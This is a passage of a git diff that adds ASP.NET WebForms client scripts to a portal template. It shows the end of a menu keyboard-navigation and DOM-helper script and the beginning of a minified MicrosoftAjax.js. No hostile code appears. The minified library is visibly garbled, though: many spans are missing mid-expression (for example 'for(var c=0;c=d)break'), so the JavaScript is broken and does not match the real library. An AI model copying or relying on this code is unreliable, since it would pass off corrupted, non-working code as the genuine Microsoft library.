+ menuItem.childMenu.hide(); + } + } + menuItem = menuItem.parentMenu.parentMenuItem; + } + } + }, + isSiblingOf: function(menuItem) { return menuItem.parentMenu === this.parentMenu; }, + mouseout: function() { + var menuItem = this, + id = this.container.pendingMouseoutId, + disappearAfter = this.container.disappearAfter; + if (id) { + window.clearTimeout(id); + } + if (disappearAfter > -1) { + this.container.pendingMouseoutId = + window.setTimeout(function() { menuItem.hover(false); }, disappearAfter); + } + }, + mouseover: function() { + var id = this.container.pendingMouseoutId; + if (id) { + window.clearTimeout(id); + this.container.pendingMouseoutId = null; + } + this.hover(true); + if (this.container.menu.get_focused()) { + this.container.navigateTo(this); + } + }, + navigate: function(keyCode) { + switch (this.keyMap[keyCode]) { + case this.keyMap.next: + this.navigateNext(); + break; + case this.keyMap.previous: + this.navigatePrevious(); + break; + case this.keyMap.child: + this.navigateChild(); + break; + case this.keyMap.parent: + this.navigateParent(); + break; + case this.keyMap.tab: + this.navigateOut(); + break; + } + }, + navigateChild: function() { + var subMenu = this.childMenu; + if (subMenu) { + var firstChild = subMenu.firstChild(); + if (firstChild) { + this.container.navigateTo(firstChild); + } + } + else { + if (this.container.orientation === 'horizontal') { + var nextItem = this.topLevelMenuItem.nextSibling || this.topLevelMenuItem.parentMenu.firstChild(); + if (nextItem == this.topLevelMenuItem) { + return; + } + this.topLevelMenuItem.childMenu.hide(); + this.container.navigateTo(nextItem); + if (nextItem.childMenu) { + this.container.navigateTo(nextItem.childMenu.firstChild()); + } + } + } + }, + navigateNext: function() { + if (this.childMenu) { + this.childMenu.hide(); + } + var nextMenuItem = this.nextSibling; + if (!nextMenuItem && this.parentMenu.isRoot()) { + nextMenuItem = this.parentMenu.parentMenuItem; + if (nextMenuItem) { + nextMenuItem = nextMenuItem.nextSibling; + } + } + if (!nextMenuItem) { + nextMenuItem = this.parentMenu.firstChild(); + } + if (nextMenuItem) { + this.container.navigateTo(nextMenuItem); + } + }, + navigateOut: function() { + this.parentMenu.blur(); + }, + navigateParent: function() { + var parentMenu = this.parentMenu, + horizontal = this.container.orientation === 'horizontal'; + if (!parentMenu) return; + if (horizontal && this.childMenu && parentMenu.isRoot()) { + this.navigateChild(); + return; + } + if (parentMenu.parentMenuItem && !parentMenu.isRoot()) { + if (horizontal && this.parentMenu.depth === 2) { + var previousItem = this.parentMenu.parentMenuItem.previousSibling; + if (!previousItem) { + previousItem = this.parentMenu.rootMenu.lastChild(); + } + this.topLevelMenuItem.childMenu.hide(); + this.container.navigateTo(previousItem); + if (previousItem.childMenu) { + this.container.navigateTo(previousItem.childMenu.firstChild()); + } + } + else { + this.parentMenu.hide(); + } + } + }, + navigatePrevious: function() { + if (this.childMenu) { + this.childMenu.hide(); + } + var previousMenuItem = this.previousSibling; + if (previousMenuItem) { + var childMenu = previousMenuItem.childMenu; + if (childMenu && childMenu.isRoot()) { + previousMenuItem = childMenu.lastChild(); + } + } + if (!previousMenuItem && this.parentMenu.isRoot()) { + previousMenuItem = this.parentMenu.parentMenuItem; + } + if (!previousMenuItem) { + previousMenuItem = this.parentMenu.lastChild(); + } + if (previousMenuItem) { + this.container.navigateTo(previousMenuItem); + } + }, + setTabIndex: function(index) { if (this._anchor) this._anchor.tabIndex = index; } +}; +Sys.WebForms.MenuItem._onmouseout = function(e) { + var menuItem = Sys.WebForms.Menu._elementObjectMapper.getMappedObject(this); + if (!menuItem) { + return; + } + menuItem.mouseout(); + Sys.WebForms.Menu._domHelper.cancelEvent(e); +}; +Sys.WebForms.MenuItem._onmouseover = function(e) { + var menuItem = Sys.WebForms.Menu._elementObjectMapper.getMappedObject(this); + if (!menuItem) { + return; + } + menuItem.mouseover(); + Sys.WebForms.Menu._domHelper.cancelEvent(e); +}; +Sys.WebForms.Menu._domHelper = { + addEvent: function(element, eventName, fn, useCapture) { + if (element.addEventListener) { + element.addEventListener(eventName, fn, !!useCapture); + } + else { + element['on' + eventName] = fn; + } + }, + appendAttributeValue: function(element, name, value) { + this.updateAttributeValue('append', element, name, value); + }, + appendCssClass: function(element, value) { + this.updateClassName('append', element, name, value); + }, + appendString: function(getString, setString, value) { + var currentValue = getString(); + if (!currentValue) { + setString(value); + return; + } + var regex = this._regexes.getRegex('(^| )' + value + '($| )'); + if (regex.test(currentValue)) { + return; + } + setString(currentValue + ' ' + value); + }, + cancelEvent: function(e) { + var event = e || window.event; + if (event) { + event.cancelBubble = true; + if (event.stopPropagation) { + event.stopPropagation(); + } + } + }, + contains: function(ancestor, descendant) { + for (; descendant && (descendant !== ancestor); descendant = descendant.parentNode) { } + return !!descendant; + }, + firstChild: function(element) { + var child = element.firstChild; + if (child && child.nodeType !== 1) { + child = this.nextSibling(child); + } + return child; + }, + getElement: function(elementOrId) { return typeof elementOrId === 'string' ? document.getElementById(elementOrId) : elementOrId; }, + getElementDirection: function(element) { + if (element) { + if (element.dir) { + return element.dir; + } + return this.getElementDirection(element.parentNode); + } + return "ltr"; + }, + getKeyCode: function(event) { return event.keyCode || event.charCode || 0; }, + insertAfter: function(element, elementToInsert) { + var next = element.nextSibling; + if (next) { + element.parentNode.insertBefore(elementToInsert, next); + } + else if (element.parentNode) { + element.parentNode.appendChild(elementToInsert); + } + }, + nextSibling: function(element) { + var sibling = element.nextSibling; + while (sibling) { + if (sibling.nodeType === 1) { + return sibling; + } + sibling = sibling.nextSibling; + } + }, + removeAttributeValue: function(element, name, value) { + this.updateAttributeValue('remove', element, name, value); + }, + removeCssClass: function(element, value) { + this.updateClassName('remove', element, name, value); + }, + removeEvent: function(element, eventName, fn, useCapture) { + if (element.removeEventListener) { + element.removeEventListener(eventName, fn, !!useCapture); + } + else if (element.detachEvent) { + element.detachEvent('on' + eventName, fn) + } + element['on' + eventName] = null; + }, + removeString: function(getString, setString, valueToRemove) { + var currentValue = getString(); + if (currentValue) { + var regex = this._regexes.getRegex('(\\s|\\b)' + valueToRemove + '$|\\b' + valueToRemove + '\\s+'); + setString(currentValue.replace(regex, '')); + } + }, + setFloat: function(element, direction) { + element.style.styleFloat = direction; + element.style.cssFloat = direction; + }, + updateAttributeValue: function(operation, element, name, value) { + this[operation + 'String']( + function() { + return element.getAttribute(name); + }, + function(newValue) { + element.setAttribute(name, newValue); + }, + value + ); + }, + updateClassName: function(operation, element, name, value) { + this[operation + 'String']( + function() { + return element.className; + }, + function(newValue) { + element.className = newValue; + }, + value + ); + }, + _regexes: { + getRegex: function(pattern) { + var regex = this[pattern]; + if (!regex) { + this[pattern] = regex = new RegExp(pattern); + } + return regex; + } + } +}; +Sys.WebForms.Menu._elementObjectMapper = { + _computedId: 0, + _mappings: {}, + _mappingIdName: 'Sys.WebForms.Menu.Mapping', + getMappedObject: function(element) { + var id = element[this._mappingIdName]; + if (id) { + return this._mappings[this._mappingIdName + ':' + id]; + } + }, + map: function(element, theObject) { + var mappedObject = element[this._mappingIdName]; + if (mappedObject === theObject) { + return; + } + var objectId = element[this._mappingIdName] || element.id || '%' + (++this._computedId); + element[this._mappingIdName] = objectId; + this._mappings[this._mappingIdName + ':' + objectId] = theObject; + theObject.mappingId = objectId; + } +}; +Sys.WebForms.Menu._keyboardMapping = new (function() { + var LEFT_ARROW = 37; + var UP_ARROW = 38; + var RIGHT_ARROW = 39; + var DOWN_ARROW = 40; + var TAB = 9; + var ESCAPE = 27; + this.vertical = { next: 0, previous: 1, child: 2, parent: 3, tab: 4 }; + this.vertical[DOWN_ARROW] = this.vertical.next; + this.vertical[UP_ARROW] = this.vertical.previous; + this.vertical[RIGHT_ARROW] = this.vertical.child; + this.vertical[LEFT_ARROW] = this.vertical.parent; + this.vertical[TAB] = this.vertical[ESCAPE] = this.vertical.tab; + this.verticalRtl = { next: 0, previous: 1, child: 2, parent: 3, tab: 4 }; + this.verticalRtl[DOWN_ARROW] = this.verticalRtl.next; + this.verticalRtl[UP_ARROW] = this.verticalRtl.previous; + this.verticalRtl[LEFT_ARROW] = this.verticalRtl.child; + this.verticalRtl[RIGHT_ARROW] = this.verticalRtl.parent; + this.verticalRtl[TAB] = this.verticalRtl[ESCAPE] = this.verticalRtl.tab; + this.horizontal = { next: 0, previous: 1, child: 2, parent: 3, tab: 4 }; + this.horizontal[RIGHT_ARROW] = this.horizontal.next; + this.horizontal[LEFT_ARROW] = this.horizontal.previous; + this.horizontal[DOWN_ARROW] = this.horizontal.child; + this.horizontal[UP_ARROW] = this.horizontal.parent; + this.horizontal[TAB] = this.horizontal[ESCAPE] = this.horizontal.tab; + this.horizontalRtl = { next: 0, previous: 1, child: 2, parent: 3, tab: 4 }; + this.horizontalRtl[RIGHT_ARROW] = this.horizontalRtl.previous; + this.horizontalRtl[LEFT_ARROW] = this.horizontalRtl.next; + this.horizontalRtl[DOWN_ARROW] = this.horizontalRtl.child; + this.horizontalRtl[UP_ARROW] = this.horizontalRtl.parent; + this.horizontalRtl[TAB] = this.horizontalRtl[ESCAPE] = this.horizontalRtl.tab; + this.horizontal.contains = this.horizontalRtl.contains = this.vertical.contains = this.verticalRtl.contains = function(keycode) { + return this[keycode] != null; + }; +})(); +Sys.WebForms._MenuContainer = function(options) { + this.focused = false; + this.disabled = options.disabled; + this.staticDisplayLevels = options.staticDisplayLevels || 1; + this.element = options.element; + this.orientation = options.orientation || 'vertical'; + this.disappearAfter = options.disappearAfter; + this.rightToLeft = Sys.WebForms.Menu._domHelper.getElementDirection(this.element) === 'rtl'; + Sys.WebForms.Menu._elementObjectMapper.map(this.element, this); + this.menu = options.menu; + this.menu.rootMenu = this.menu; + this.menu.displayMode = 'static'; + this.menu.element.style.position = 'relative'; + this.menu.element.style.width = 'auto'; + if (this.orientation === 'vertical') { + Sys.WebForms.Menu._domHelper.appendAttributeValue(this.menu.element, 'role', 'menu'); + if (this.rightToLeft) { + this.menu.keyMap = Sys.WebForms.Menu._keyboardMapping.verticalRtl; + } + else { + this.menu.keyMap = Sys.WebForms.Menu._keyboardMapping.vertical; + } + } + else { + Sys.WebForms.Menu._domHelper.appendAttributeValue(this.menu.element, 'role', 'menubar'); + if (this.rightToLeft) { + this.menu.keyMap = Sys.WebForms.Menu._keyboardMapping.horizontalRtl; + } + else { + this.menu.keyMap = Sys.WebForms.Menu._keyboardMapping.horizontal; + } + } + var floatBreak = document.createElement('div'); + floatBreak.style.clear = this.rightToLeft ? "right" : "left"; + this.element.appendChild(floatBreak); + Sys.WebForms.Menu._domHelper.setFloat(this.element, this.rightToLeft ? "right" : "left"); + Sys.WebForms.Menu._domHelper.insertAfter(this.element, floatBreak); + if (!this.disabled) { + Sys.WebForms.Menu._domHelper.addEvent(this.menu.element, 'focus', this._onfocus, true); + Sys.WebForms.Menu._domHelper.addEvent(this.menu.element, 'keydown', this._onkeydown); + var menuContainer = this; + this.element.dispose = function() { + if (menuContainer.element.dispose) { + menuContainer.element.dispose = null; + Sys.WebForms.Menu._domHelper.removeEvent(menuContainer.menu.element, 'focus', menuContainer._onfocus, true); + Sys.WebForms.Menu._domHelper.removeEvent(menuContainer.menu.element, 'keydown', menuContainer._onkeydown); + menuContainer.menu.doDispose(); + } + }; + Sys.WebForms.Menu._domHelper.addEvent(window, 'unload', function() { + if (menuContainer.element.dispose) { + menuContainer.element.dispose(); + } + }); + } +}; +Sys.WebForms._MenuContainer.prototype = { + blur: function() { + this.focused = false; + this.isBlurring = false; + this.menu.collapse(); + this.focusedMenuItem = null; + }, + focus: function(e) { this.focused = true; }, + navigateTo: function(menuItem) { + if (this.focusedMenuItem && this.focusedMenuItem !== this) { + this.focusedMenuItem.highlight(false); + } + menuItem.highlight(true); + menuItem.focus(); + this.focusedMenuItem = menuItem; + }, + _onfocus: function(e) { + var event = e || window.event; + if (event.srcElement && this) { + if (Sys.WebForms.Menu._domHelper.contains(this.element, event.srcElement)) { + if (!this.focused) { + this.focus(); + } + } + } + }, + _onkeydown: function(e) { + var thisMenu = Sys.WebForms.Menu._elementObjectMapper.getMappedObject(this); + var keyCode = Sys.WebForms.Menu._domHelper.getKeyCode(e || window.event); + if (thisMenu) { + thisMenu.handleKeyPress(keyCode); + } + } +}; diff --git a/templates/www/portal/Scripts/WebForms/MsAjax/MicrosoftAjax.js b/templates/www/portal/Scripts/WebForms/MsAjax/MicrosoftAjax.js new file mode 100644 index 0000000..f53d115 --- /dev/null +++ b/templates/www/portal/Scripts/WebForms/MsAjax/MicrosoftAjax.js @@ -0,0 +1,6 @@ +//CdnPath=http://ajax.aspnetcdn.com/ajax/4.5.1/1/MicrosoftAjax.js +//---------------------------------------------------------- +// Copyright (C) Microsoft Corporation. All rights reserved. +//---------------------------------------------------------- +// MicrosoftAjax.js +Function.__typeName="Function";Function.__class=true;Function.createCallback=function(b,a){return function(){var e=arguments.length;if(e>0){var d=[];for(var c=0;c=d)break;a=Function._validateParameter(g[b],f,h);if(a){a.popStackFrame();return a}}return null};Function._validateParameterCount=function(j,d,i){var a,c,b=d.length,e=j.length;if(eb){c=true;for(a=0;a0&&(d=0};Array.dequeue=function(a){return a.shift()};Array.forEach=function(b,e,d){for(var a=0,f=b.length;a=0)b.splice(a,1);return a>=0};Array.removeAt=function(a,b){a.splice(b,1)};Sys._indexOf=function(d,e,a){if(typeof e==="undefined")return -1;var c=d.length;if(c!==0){a=a-0;if(isNaN(a))a=0;else{if(isFinite(a))a=a-a%1;if(a<0)a=Math.max(0,c+a)}for(var b=a;b-1){Sys.Browser.agent=Sys.Browser.InternetExplorer;Sys.Browser.version=parseFloat(navigator.userAgent.match(/MSIE (\d+\.\d+)/)[1]);if(Sys.Browser.version>=8)if(document.documentMode>=7)Sys.Browser.documentMode=document.documentMode;Sys.Browser.hasDebuggerStatement=true}else if(navigator.userAgent.indexOf(" Firefox/")>-1){Sys.Browser.agent=Sys.Browser.Firefox;Sys.Browser.version=parseFloat(navigator.userAgent.match(/Firefox\/(\d+\.\d+)/)[1]);Sys.Browser.name="Firefox";Sys.Browser.hasDebuggerStatement=true}else if(navigator.userAgent.indexOf(" AppleWebKit/")>-1){Sys.Browser.agent=Sys.Browser.Safari;Sys.Browser.version=parseFloat(navigator.userAgent.match(/AppleWebKit\/(\d+(\.\d+)?)/)[1]);Sys.Browser.name="Safari"}else if(navigator.userAgent.indexOf("Opera/")>-1)Sys.Browser.agent=Sys.Browser.Opera;Sys.EventArgs=function(){};Sys.EventArgs.registerClass("Sys.EventArgs");Sys.EventArgs.Empty=new Sys.EventArgs;Sys.CancelEventArgs=function(){Sys.CancelEventArgs.initializeBase(this);this._cancel=false};Sys.CancelEventArgs.prototype={get_cancel:function(){return this._cancel},set_cancel:function(a){this._cancel=a}};Sys.CancelEventArgs.registerClass("Sys.CancelEventArgs",Sys.EventArgs);Type.registerNamespace("Sys.UI");Sys._Debug=function(){};Sys._Debug.prototype={_appendConsole:function(a){if(typeof Debug!=="undefined"&&Debug.writeln)Debug.writeln(a);if(window.console&&window.console.log)window.console.log(a);if(window.opera)window.opera.postError(a);if(window.debugService)window.debugService.trace(a)},_appendTrace:function(b){var a=document.getElementById("TraceConsole");if(a&&a.tagName.toUpperCase()==="TEXTAREA")a.value+=b+"\n"},assert:function(c,a,b){if(!c){a=b&&this.assert.caller?String.format(Sys.Res.assertFailedCaller,a,this.assert.caller):String.format(Sys.Res.assertFailed,a);if(confirm(String.format(Sys.Res.breakIntoDebugger,a)))this.fail(a)}},clearTrace:function(){var a=document.getElementById("TraceConsole");if(a&&a.tagName.toUpperCase()==="TEXTAREA")a.value=""},fail:function(message){this._appendConsole(message);if(Sys.Browser.hasDebuggerStatement)eval("debugger")},trace:function(a){this._appendConsole(a);this._appendTrace(a)},traceDump:function(a,b){var c=this._traceDump(a,b,true)},_traceDump:function(a,c,f,b,d){c=c?c:"traceDump";b=b?b:"";if(a===null){this.trace(b+c+": null");return}switch(typeof a){case "undefined":this.trace(b+c+": Undefined");break;case "number":case "string":case "boolean":this.trace(b+c+": "+a);break;default:if(Date.isInstanceOfType(a)||RegExp.isInstanceOfType(a)){this.trace(b+c+": "+a.toString());break}if(!d)d=[];else if(Array.contains(d,a)){this.trace(b+c+": ...");return}Array.add(d,a);if(a==window||a===document||window.HTMLElement&&a instanceof HTMLElement||typeof a.nodeName==="string"){var k=a.tagName?a.tagName:"DomElement";if(a.id)k+=" - "+a.id;this.trace(b+c+" {"+k+"}")}else{var i=Object.getTypeName(a);this.trace(b+c+(typeof i==="string"?" {"+i+"}":""));if(b===""||f){b+=" ";var e,j,l,g,h;if(Array.isInstanceOfType(a)){j=a.length;for(e=0;e=0;d--){var k=h[d].trim();b=a[k];if(typeof b!=="number")throw Error.argument("value",String.format(Sys.Res.enumInvalidValue,c.split(",")[d].trim(),this.__typeName));j|=b}return j}}function Sys$Enum$toString(c){if(typeof c==="undefined"||c===null)return this.__string;var d=this.prototype,a;if(!this.__flags||c===0){for(a in d)if(d[a]===c)return a}else{var b=this.__sortedValues;if(!b){b=[];for(a in d)b[b.length]={key:a,value:d[a]};b.sort(function(a,b){return a.value-b.value});this.__sortedValues=b}var e=[],g=c;for(a=b.length-1;a>=0;a--){var h=b[a],f=h.value;if(f===0)continue;if((f&c)===f){e[e.length]=h.key;g-=f;if(g===0)break}}if(e.length&&g===0)return e.reverse().join(", ")}return ""}Type.prototype.registerEnum=function(b,c){Sys.__upperCaseTypes[b.toUpperCase()]=this;for(var a in this.prototype)this[a]=this.prototype[a];this.__typeName=b;this.parse=Sys$Enum$parse;this.__string=this.toString();this.toString=Sys$Enum$toString;this.__flags=c;this.__enum=true};Type.isEnum=function(a){if(typeof a==="undefined"||a===null)return false;return !!a.__enum};Type.isFlags=function(a){if(typeof a==="undefined"||a===null)return false;return !!a.__flags};Sys.CollectionChange=function(e,a,c,b,d){this.action=e;if(a)if(!(a instanceof Array))a=[a];this.newItems=a||null;if(typeof c!=="number")c=-1;this.newStartingIndex=c;if(b)if(!(b instanceof Array))b=[b];this.oldItems=b||null;if(typeof d!=="number")d=-1;this.oldStartingIndex=d};Sys.CollectionChange.registerClass("Sys.CollectionChange");Sys.NotifyCollectionChangedAction=function(){throw Error.notImplemented()};Sys.NotifyCollectionChangedAction.prototype={add:0,remove:1,reset:2};Sys.NotifyCollectionChangedAction.registerEnum("Sys.NotifyCollectionChangedAction");Sys.NotifyCollectionChangedEventArgs=function(a){this._changes=a;Sys.NotifyCollectionChangedEventArgs.initializeBase(this)};Sys.NotifyCollectionChangedEventArgs.prototype={get_changes:function(){return this._changes||[]}};Sys.NotifyCollectionChangedEventArgs.registerClass("Sys.NotifyCollectionChangedEventArgs",Sys.EventArgs);Sys.Observer=function(){};Sys.Observer.registerClass("Sys.Observer");Sys.Observer.makeObservable=function(a){var c=a instanceof Array,b=Sys.Observer;if(a.setValue===b._observeMethods.setValue)return a;b._addMethods(a,b._observeMethods);if(c)b._addMethods(a,b._arrayMethods);return a};Sys.Observer._addMethods=function(c,b){for(var a in b)c[a]=b[a]};Sys.Observer._addEventHandler=function(c,a,b){Sys.Observer._getContext(c,true).events._addHandler(a,b)};Sys.Observer.addEventHandler=function(c,a,b){Sys.Observer._addEventHandler(c,a,b)};Sys.Observer._removeEventHandler=function(c,a,b){Sys.Observer._getContext(c,true).events._removeHandler(a,b)};Sys.Observer.removeEventHandler=function(c,a,b){Sys.Observer._removeEventHandler(c,a,b)};Sys.Observer.raiseEvent=function(b,e,d){var c=Sys.Observer._getContext(b);if(!c)return;var a=c.events.getHandler(e);if(a)a(b,d)};Sys.Observer.addPropertyChanged=function(b,a){Sys.Observer._addEventHandler(b,"propertyChanged",a)};Sys.Observer.removePropertyChanged=function(b,a){Sys.Observer._removeEventHandler(b,"propertyChanged",a)};Sys.Observer.beginUpdate=function(a){Sys.Observer._getContext(a,true).updating=true};Sys.Observer.endUpdate=function(b){var a=Sys.Observer._getContext(b);if(!a||!a.updating)return;a.updating=false;var d=a.dirty;a.dirty=false;if(d){if(b instanceof Array){var c=a.changes;a.changes=null;Sys.Observer.raiseCollectionChanged(b,c)}Sys.Observer.raisePropertyChanged(b,"")}};Sys.Observer.isUpdating=function(b){var a=Sys.Observer._getContext(b);return a?a.updating:false};Sys.Observer._setValue=function(a,j,g){var b,f,k=a,d=j.split(".");for(var i=0,m=d.length-1;i-1&&ac.Calendar.TwoDigitYearMax)a-=100}return a};Date._getEra=function(e,c){if(!c)return 0;var b,d=e.getTime();for(var a=0,f=c.length;a=b)return a}return 0};Date._getEraYear=function(d,b,e,c){var a=d.getFullYear();if(!c&&b.eras)a-=b.eras[e+3];return a};Date._getParseRegExp=function(b,e){if(!b._parseRegExp)b._parseRegExp={};else if(b._parseRegExp[e])return b._parseRegExp[e];var c=Date._expandFormat(b,e);c=c.replace(/([\^\$\.\*\+\?\|\[\]\(\)\{\}])/g,"\\\\$1");var a=new Sys.StringBuilder("^"),j=[],f=0,i=0,h=Date._getTokenRegExp(),d;while((d=h.exec(c))!==null){var l=c.slice(f,d.index);f=h.lastIndex;i+=Date._appendPreOrPostMatch(l,a);if(i%2===1){a.append(d[0]);continue}switch(d[0]){case "dddd":case "ddd":case "MMMM":case "MMM":case "gg":case "g":a.append("(\\D+)");break;case "tt":case "t":a.append("(\\D*)");break;case "yyyy":a.append("(\\d{4})");break;case "fff":a.append("(\\d{3})");break;case "ff":a.append("(\\d{2})");break;case "f":a.append("(\\d)");break;case "dd":case "d":case "MM":case "M":case "yy":case "y":case "HH":case "H":case "hh":case "h":case "mm":case "m":case "ss":case "s":a.append("(\\d\\d?)");break;case "zzz":a.append("([+-]?\\d\\d?:\\d{2})");break;case "zz":case "z":a.append("([+-]?\\d\\d?)");break;case "/":a.append("(\\"+b.DateSeparator+")")}Array.add(j,d[0])}Date._appendPreOrPostMatch(c.slice(f),a);a.append("$");var k=a.toString().replace(/\s+/g,"\\s+"),g={"regExp":k,"groups":j};b._parseRegExp[e]=g;return g};Date._getTokenRegExp=function(){return /\/|dddd|ddd|dd|d|MMMM|MMM|MM|M|yyyy|yy|y|hh|h|HH|H|mm|m|ss|s|tt|t|fff|ff|f|zzz|zz|z|gg|g/g};Date.parseLocale=function(a){return Date._parse(a,Sys.CultureInfo.CurrentCulture,arguments)};Date.parseInvariant=function(a){return Date._parse(a,Sys.CultureInfo.InvariantCulture,arguments)};Date._parse=function(h,d,i){var a,c,b,f,e,g=false;for(a=1,c=i.length;a31)return null;break;case "MMMM":c=k._getMonthIndex(a);if(c<0||c>11)return null;break;case "MMM":c=k._getAbbrMonthIndex(a);if(c<0||c>11)return null;break;case "M":case "MM":c=parseInt(a,10)-1;if(c<0||c>11)return null;break;case "y":case "yy":e=Date._expandYear(g,parseInt(a,10));if(e<0||e>9999)return null;break;case "yyyy":e=parseInt(a,10);if(e<0||e>9999)return null;break;case "h":case "hh":d=parseInt(a,10);if(d===12)d=0;if(d<0||d>11)return null;break;case "H":case "HH":d=parseInt(a,10);if(d<0||d>23)return null;break;case "m":case "mm":p=parseInt(a,10);if(p<0||p>59)return null;break;case "s":case "ss":q=parseInt(a,10);if(q<0||q>59)return null;break;case "tt":case "t":var z=a.toUpperCase();v=z===g.PMDesignator.toUpperCase();if(!v&&z!==g.AMDesignator.toUpperCase())return null;break;case "f":f=parseInt(a,10)*100;if(f<0||f>999)return null;break;case "ff":f=parseInt(a,10)*10;if(f<0||f>999)return null;break;case "fff":f=parseInt(a,10);if(f<0||f>999)return null;break;case "dddd":i=k._getDayIndex(a);if(i<0||i>6)return null;break;case "ddd":i=k._getAbbrDayIndex(a);if(i<0||i>6)return null;break;case "zzz":var u=a.split(/:/);if(u.length!==2)return null;h=parseInt(u[0],10);if(h<-12||h>13)return null;var m=parseInt(u[1],10);if(m<0||m>59)return null;l=h*60+(a.startsWith("-")?-m:m);break;case "z":case "zz":h=parseInt(a,10);if(h<-12||h>13)return null;l=h*60;break;case "g":case "gg":var o=a;if(!o||!g.eras)return null;o=o.toLowerCase().trim();for(var r=0,F=g.eras.length;r0)return this.toLocaleString();else return this.toString();var o=["n %","n%","%n"],n=["-n %","-n%","-%n"],p=["(n)","-n","- n","n-","n -"],m=["$n","n$","$ n","n $"],l=["($n)","-$n","$-n","$n-","(n$)","-n$","n-$","n$-","-n $","-$ n","n $-","$ n-","$ -n","n- $","($ n)","(n $)"];function g(a,c,d){for(var b=a.length;b1?parseInt(e[1]):0;e=b.split(".");b=e[0];a=e.length>1?e[1]:"";var q;if(c>0){a=g(a,c,false);b+=a.slice(0,c);a=a.substr(c)}else if(c<0){c=-c;b=g(b,c+1,true);a=b.slice(-c,b.length)+a;b=b.slice(0,-c)}if(i>0){if(a.length>i)a=a.slice(0,i);else a=g(a,i,false);a=p+a}else a="";var d=b.length-1,f="";while(d>=0){if(h===0||h>d)if(f.length>0)return b.slice(0,d+1)+n+f+a;else return b.slice(0,d+1)+a;if(f.length>0)f=b.slice(d-h+1,d+1)+n+f;else f=b.slice(d-h+1,d+1);d-=h;if(k1)b=parseInt(e.slice(1),10);var c;switch(e.charAt(0)){case "d":case "D":c="n";if(b!==-1)d=g(""+d,b,true);if(this<0)d=-d;break;case "c":case "C":if(this<0)c=l[a.CurrencyNegativePattern];else c=m[a.CurrencyPositivePattern];if(b===-1)b=a.CurrencyDecimalDigits;d=i(Math.abs(this),b,a.CurrencyGroupSizes,a.CurrencyGroupSeparator,a.CurrencyDecimalSeparator);break;case "n":case "N":if(this<0)c=p[a.NumberNegativePattern];else c="n";if(b===-1)b=a.NumberDecimalDigits;d=i(Math.abs(this),b,a.NumberGroupSizes,a.NumberGroupSeparator,a.NumberDecimalSeparator);break;case "p":case "P":if(this<0)c=n[a.PercentNegativePattern];else c=o[a.PercentPositivePattern];if(b===-1)b=a.PercentDecimalDigits;d=i(Math.abs(this)*100,b,a.PercentGroupSizes,a.PercentGroupSeparator,a.PercentDecimalSeparator);break;default:throw Error.format(Sys.Res.formatBadFormatSpecifier)}var k=/n|\$|-|%/g,f="";for(;true;){var q=k.lastIndex,h=k.exec(c);f+=c.slice(q,h?h.index:c.length);if(!h)break;switch(h[0]){case "n":f+=d;break;case "$":f+=a.CurrencySymbol;break;case "-":if(/[1-9]/.test(d))f+=a.NegativeSign;break;case "%":f+=a.PercentSymbol}}return f};Sys.CultureInfo=function(c,b,a){this.name=c;this.numberFormat=b;this.dateTimeFormat=a};Sys.CultureInfo.prototype={_getDateTimeFormats:function(){if(!this._dateTimeFormats){var a=this.dateTimeFormat;this._dateTimeFormats=[a.MonthDayPattern,a.YearMonthPattern,a.ShortDatePattern,a.ShortTimePattern,a.LongDatePattern,a.LongTimePattern,a.FullDateTimePattern,a.RFC1123Pattern,a.SortableDateTimePattern,a.UniversalSortableDateTimePattern]}return this._dateTimeFormats},_getIndex:function(c,d,e){var b=this._toUpper(c),a=Array.indexOf(d,b);if(a===-1)a=Array.indexOf(e,b);return a},_getMonthIndex:function(a){if(!this._upperMonths){this._upperMonths=this._toUpperArray(this.dateTimeFormat.MonthNames);this._upperMonthsGenitive=this._toUpperArray(this.dateTimeFormat.MonthGenitiveNames)}return this._getIndex(a,this._upperMonths,this._upperMonthsGenitive)},_getAbbrMonthIndex:function(a){if(!this._upperAbbrMonths){this._upperAbbrMonths=this._toUpperArray(this.dateTimeFormat.AbbreviatedMonthNames);this._upperAbbrMonthsGenitive=this._toUpperArray(this.dateTimeFormat.AbbreviatedMonthGenitiveNames)}return this._getIndex(a,this._upperAbbrMonths,this._upperAbbrMonthsGenitive)},_getDayIndex:function(a){if(!this._upperDays)this._upperDays=this._toUpperArray(this.dateTimeFormat.DayNames);return Array.indexOf(this._upperDays,this._toUpper(a))},_getAbbrDayIndex:function(a){if(!this._upperAbbrDays)this._upperAbbrDays=this._toUpperArray(this.dateTimeFormat.AbbreviatedDayNames);return Array.indexOf(this._upperAbbrDays,this._toUpper(a))},_toUpperArray:function(c){var b=[];for(var a=0,d=c.length;a0)a.append(",");Sys.Serialization.JavaScriptSerializer._serializeWithBuilder(b[c],a,false,g)}a.append("]")}else{if(Date.isInstanceOfType(b)){a.append('"\\/Date(');a.append(b.getTime());a.append(')\\/"');break}var d=[],f=0;for(var e in b){if(e.startsWith("$"))continue;if(e===Sys.Serialization.JavaScriptSerializer._serverTypeFieldName&&f!==0){d[f++]=d[0];d[0]=e}else d[f++]=e}if(i)d.sort();a.append("{");var j=false;for(c=0;c=0;c--){var f=d[c];if(!g||f.autoRemove)$removeHandler(a,b,f.handler)}}a._events=null}};Sys.UI.DomEvent._disposeHandlers=function(){Sys.UI.DomEvent._clearHandlers(this,true);var b=this._chainDispose,a=typeof b;if(a!=="undefined"){this.dispose=b;this._chainDispose=null;if(a==="function")this.dispose()}};var $removeHandler=Sys.UI.DomEvent.removeHandler=function(b,a,c){Sys.UI.DomEvent._removeHandler(b,a,c)};Sys.UI.DomEvent._removeHandler=function(a,e,f){var d=null,c=a._events[e];for(var b=0,g=c.length;b=3){d+=parseInt(b.borderLeftWidth);e+=parseInt(b.borderTopWidth)}}b=Sys.UI.DomElement._getCurrentStyle(c);var h=b?b.position:null;if(!h||h!=="absolute")for(a=c.parentNode;a;a=a.parentNode){f=a.tagName?a.tagName.toUpperCase():null;if(f!=="BODY"&&f!=="HTML"&&(a.scrollLeft||a.scrollTop)){d-=a.scrollLeft||0;e-=a.scrollTop||0}b=Sys.UI.DomElement._getCurrentStyle(a);var i=b?b.position:null;if(i&&i==="absolute")break}return new Sys.UI.Point(d,e)};else Sys.UI.DomElement.getLocation=function(d){if(d.window&&d.window===d||d.nodeType===9)return new Sys.UI.Point(0,0);var e=0,f=0,a,i=null,g=null,b=null;for(a=d;a;i=a,(g=b,a=a.offsetParent)){var 